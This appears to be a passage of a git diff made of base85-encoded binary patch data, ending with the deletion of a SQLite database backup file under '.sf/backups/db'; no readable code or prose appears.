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 diff --git a/.sf/backups/db/sf.db.2026-05-08T22-14-57-817Z b/.sf/backups/db/sf.db.2026-05-08T22-14-57-817Z deleted file mode 100644 index c6a3e98deb06239ecff8d36312632788286b7b53..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1224704 zcmeFa37lNlUFTa{@7;AR%aWqlj>}RU+gP`B_oWh%II?0qwqwVV5>iHV?s9H-Mcq~H zs%puK@r0IaCk*5b%nw;nVB0h*=*)jrBWu7$>QHV z_+I-gW}2d}TA`cYb&TPE*Q6ARGzY_QyJbbik+ zip56r%xtT%+>AtPR^RyhrgOG3wntU7&)wP%!UeHX9fRArEyWm+m|AntP8wbgZP6z4ch4rU=?1o<-T;A{~!D_Q1pUKK91agGb(2x@$Gf z2TGmP9Vj6kcdrY3%_EN;dEoxnZt!|HQt_H2j~#jK;Uh;=8a2_ns}|o~dgQf8(nCjp z>hQfs58r#=ku3yuqPhq%s|4?UdRL8IwRc@^Jo~Ddu{{S5W}i9Ot9Y>( zia4&-=hig8?w|}({rc@5-LDplHSPB>UWc&Qh_}{qTw5$X@Y-WX?mzNaSHtT;Pl>4A zXqI06&?B!NaCdnrzJSg*D6*T@OVGi+#nC;-4_-hA>x8;WSa-T%<;$kV_V|AG>^;3& zSZX#icatS!lb&sOEMN9^hOO|3x>zV$?=m30VlOU>G1fPq@$bX_!u@Q+F=)rhWo zwo{CT$>6DAp@!aZxct={Z8WJH#!Ulrc#);=0*%XB!E;AP_dIyVRt2xOxXkLkzs4Ue zjPAMTp6nYtg>Q8w_tTZ zasK$5;#93Ary)bgT?}H;?Vh^*_F6l8XE28br>C|KS?u)u`P#cRKInbAf6D3axSYtX z?8uJox%=+y%89h-Me|}Ym_3D_R2G&Ezw#Rj%*J~?rDioOI#-B)*NTGccRYp5w*|O- zyL9}n`*8X0m*eui1}@+EGF-mr7F@n%H!k0*bSCe-tgdDd#B~co*23(iUG9;=c)2PJ zzDlxx{w_~R@t6B@KnflDl1I6`4eP4eTV*h#bCGWQrQ7Wrf4)?@-LdXZ{&lo_>9k&O z;fDlBfCNZ@1W14cNPq;kA~1s+yJr?M*p2@c<@=SlD{odFQp(B=#m^Ogzxb2IZz;Z| z_!Y%3EtZP8nZKU-wV5BB`48~S4+)R}36KB@kN^pg011!)36Q{f3EZ+fpFN}-n&GIL zt!mye!>H(1#dgb{?o@Btg}d68cW=VogFSb3zhZk8ODj7z!tTV~a_?QIV(S%CFKeb= zz2!#SReSDgR>d+awo`U>+}(k@2e!O>1Mc3_d)KTOh}S9mzE{0P!QC(E-gS=|h!jzq zWna^(w-j;r?w-54Q_#vD-&EXt+MI)RXP8M(LX;VKmsH{0wh2JBtQZrKmsH{0wh2J*D--fnK#b=uVW1} zYa~DdBtQZrKmsH{0wh2JBtQZrkjcpX|Ge@$8Jx-Y$N1uh1W14cNPq-LfCNZ@1W14c zNPq-L;F>2ek;HLoHjkOWA81W14cNPq-LfCNZ@1W14cwoQQh|Jz1L0VF^IBtQZrKmsH{ z0wh2JBtQZraLp6o{{J;HLoHjkOWA81W14cNPq-LfCNZ@1W14cwoQQh|Jz1L 